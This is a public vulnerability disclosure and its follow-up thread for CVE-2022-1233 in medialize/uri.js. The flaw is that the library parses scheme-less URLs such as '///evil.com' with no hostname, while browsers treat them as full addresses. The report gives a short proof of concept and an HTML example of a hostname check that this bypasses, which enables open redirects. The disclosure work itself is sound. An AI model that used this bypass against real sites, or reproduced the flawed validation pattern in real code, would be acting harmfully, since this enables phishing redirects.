URL Confusion When Scheme Not Supplied in medialize/uri.js

0

Valid Reported on Mar 15th 2022

Description

This is a URL confusion vulnerability.
When parsing a URL without a scheme and with excessive slashes, like `///www.example.com`, URI.js will parse the hostname as `null` and the path as `/www.example.com`.
Such behaviour is different from that exhibited by browsers, which will parse `///www.example.com` as `http://www.example.com` instead. For example, the following will cause a redirect to `http://www.example.com`:

```
window.location.href = "///www.example.com";
```

This can lead to a variety of vulnerabilities including open redirects, where the target host is parsed and validated using URI.js.

PoC

```
const uri = require('urijs');

let payload = "///evil.com";
console.log(new uri(payload));
```

Output:

```
URI {
  _string: '',
  _parts: {
    protocol: null,
    username: null,
    password: null,
```

```
    hostname: null,
    urn: null,
    port: null,
    path: '/evil.com',
    query: null,
    fragment: null,
    preventInvalidHostname: false,
    duplicateQueryParameters: false,
    escapeQuerySpace: true
  },
  _deferred_build: true
}
```

Node's WHATWG URL API and URL parsers of other languages would deem this as an invalid URL and throw an error.
Example of flawed validation and browser behaviour:

```
<html>
    <body>
        <script src="uri.js"></script>
        <script>
            let payload = "///www.example.com";
            let parsed = new URI(payload);

            if (parsed.hostname() === "www.example.com") {
                alert("Hostname not allowed");
            }
            else {
                window.location.href = payload;
            }
        </script>
    </body>
</html>
```

CVE
CVE-2022-1233
(Published)

Vulnerability Type

CWE-115: Misinterpretation of Input

Severity
Medium (6.5)

Visibility
Public

Status
Fixed

Found by

Zhang Zeyu
@zeyu2001
unranked

This report was seen 683 times.

We are processing your report and will contact the **medialize/uri.js** team within 24 hours.
8 months ago

We have contacted a member of the **medialize/uri.js** team and are waiting to hear back
8 months ago

We have sent a follow up to the **medialize/uri.js** team. We will try again in 7 days. 8 months ago

We have sent a second follow up to the **medialize/uri.js** team. We will try again in 10 days.
8 months ago

A **medialize/uri.js** maintainer validated this vulnerability 8 months ago

Zhang Zeyu has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

A **medialize/uri.js** maintainer marked this as fixed in **1.19.11** with commit **88805f** 8 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

A **medialize/uri.js** maintainer 8 months ago

Thank you for reporting the issue. it has been solved and released as v1.19.11

Zhang Zeyu 8 months ago — Researcher

Hi @admin will there be a CVE for this?

Jamie Slome 8 months ago — Admin

We can assign and publish a CVE if the maintainer is happy to proceed with one.

@maintainer - are you happy to assign and publish a CVE for this report?

A **medialize/uri.js** maintainer 8 months ago

Do I need to create a CVE via GitHub Security Advisory?

Jamie Slome 8 months ago — Admin

No, we can take care of it for you! We are also able to assign and publish CVEs 👍 Shall I proceed?

A **medialize/uri.js** maintainer 8 months ago

you decide, I'm good either way :)

Jamie Slome 8 months ago — Admin

Sure, I will get it sorted for you now :)

Jamie Slome 8 months ago — Admin

Assigned and published ♥